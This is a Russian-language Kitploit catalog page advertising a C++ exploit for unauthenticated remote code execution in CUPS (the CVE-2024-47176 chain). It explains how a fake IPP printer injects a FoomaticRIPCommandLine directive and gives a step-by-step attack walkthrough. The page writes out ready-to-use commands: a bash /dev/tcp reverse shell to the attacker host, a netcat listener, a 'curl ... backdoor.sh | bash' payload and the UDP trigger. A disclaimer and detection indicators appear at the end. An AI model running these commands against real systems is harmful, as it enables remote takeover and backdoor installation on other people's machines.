Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Cups-RCE-Exploit — Эксплойт на C++ для неаутентифицированного удаленного выполнения кода на CUPS через цепочку CVE-2024-47176. | Kitploit
Инструменты/GitHubGitHub/stickxx00/cups-rce-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubstickxx00/cups-rce-exploit

Cups-RCE-Exploit

Эксплойт на C++ для неаутентифицированного удаленного выполнения кода на CUPS через цепочку CVE-2024-47176.

Репозиторий
1 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CUPS RCE Exploit - CVE-2024-47176 Chain

Что это такое

Полнофункциональный proof-of-concept эксплойт, нацеленный на цепочку уязвимостей удаленного выполнения кода в CUPS (Common Unix Printing System), обнаруженную в сентябре 2024 года. Цепочка состоит из четырех CVE — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 и CVE-2024-47177 — которые вместе позволяют неавторизованному удаленному злоумышленнику выполнять произвольные команды на любой Linux-системе, работающей под уязвимой версией CUPS.

Как это работает

Эксплойт развертывает поддельный IPP (Internet Printing Protocol) сервер, имитирующий сетевой принтер. Атака разворачивается в четыре этапа:

Этап 1 — Обнаружение триггера Отправляется специально сформированный UDP-пакет на порт 631 цели. Демон cups-browsed доверяет этому пакету без аутентификации и инициирует TCP-соединение обратно к IPP-серверу атакующего для получения атрибутов принтера.

Этап 2 — Доставка вредоносного PPD IPP-сервер атакующего отвечает атрибутами принтера, содержащими несанитизированные данные. Эти данные проходят через libcupsfilters и libppd, которые не проверяют и не очищают ввод, что позволяет внедрить вредоносную директиву FoomaticRIPCommandLine в PPD-файл.

Этап 3 — Внедрение команды Когда задание печати отправляется на подконтрольный злоумышленнику принтер (автоматически или действием пользователя), фильтр foomatic-rip обрабатывает PPD-файл и выполняет внедренную команду с привилегиями пользователя lp.

Этап 4 — Выполнение полезной нагрузки Внедренная команда выполняется на целевой системе. Типичные полезные нагрузки включают обратные шеллы, установку бэкдоров, эксфильтрацию данных или подготовку к повышению привилегий.

Затронутые версии

cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1

Большинство дистрибутивов Linux поставлялись с уязвимыми версиями до обновлений конца 2024 года.

Предварительные требования

  • Компьютер с Linux, g++ и стандартными инструментами разработки
  • Сетевой доступ к цели (должен быть достижим UDP порт 631)
  • Цель должна запускать cups-browsed, слушающий на UDP 631
  • Рекомендуется root или sudo для привязки к порту 631 (или используйте высокий порт, например 1631)

Компиляция

g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Внешних зависимостей нет. Компилируется на любом дистрибутиве Linux с g++.

Использование

./cups_rce_exploit -l <ATTACKER_IP> -r [options]

Параметры

-l, --listener IP-адрес атакующего для поддельного IPP-сервера -r, --reverse Команда для выполнения на цели или путь к файлу сценария -t, --target IP-адрес цели (автоматически отправляет UDP-пакет триггера) -p, --port Порт для поддельного IPP-сервера (по умолчанию: 631) -s, --spoof Имя поддельного принтера (по умолчанию: VulnPrinter) -T, --target-port Целевой UDP порт (по умолчанию: 631) -h, --help Показать справку

Пример обратного шелла

Терминал 1 — запустите слушателя: nc -lvnp 4444

Терминал 2 — запустите эксплойт: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Полезная нагрузка из файла

echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100

Режим сервера с ручным триггером

Терминал 1 — запустите сервер: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"

Терминал 2 — отправьте UDP-триггер цели: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631

Использование непривилегированного порта

./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631

Полное описание атаки

Шаг 1: Настройте слушателя netcat на вашей машине атакующего nc -lvnp 4444

Шаг 2: Скомпилируйте эксплойт g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp

Шаг 3: Запустите эксплойт против цели ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100

Шаг 4: Если пользователь на целевой машине отправит тестовую страницу или любой документ на поддельный принтер, вы получите обратный шелл от имени пользователя lp.

Индикаторы обнаружения

  • Неожиданные UDP-пакеты на порту 631, содержащие строки IPP URI
  • Исходящие TCP-соединения от cups-browsed к неизвестным хостам на порту 631
  • Неизвестные принтеры, автоматически появляющиеся в веб-интерфейсе CUPS
  • Процессы, порожденные foomatic-rip или от имени пользователя lp

Отказ от ответственности

УВЕДОМЛЕНИЕ О СОБЛЮДЕНИИ ЗАКОНОДАТЕЛЬСТВА

Данное программное обеспечение предоставляется только для образовательных и исследовательских целей. Оно предназначено для помощи специалистам по безопасности, тестировщикам на проникновение и системным администраторам в понимании, обнаружении и защите от описанных уязвимостей.

Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным и может нарушать Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Закон о неправомерном использовании компьютеров и аналогичные законы в других юрисдикциях.

Авторизованные случаи использования включают оценку безопасности на собственных системах, тесты на проникновение с письменного разрешения, программы bug bounty с явно определенными рамками, академические исследования в контролируемых лабораторных условиях и соревнования CTF.

Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный данным программным обеспечением. Пользователи несут единоличную ответственность за соблюдение всех применимых законов и получение надлежащего разрешения перед тестированием.

Используя данное программное обеспечение, вы принимаете эти условия.

Ссылки

https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org

Скачать инструмент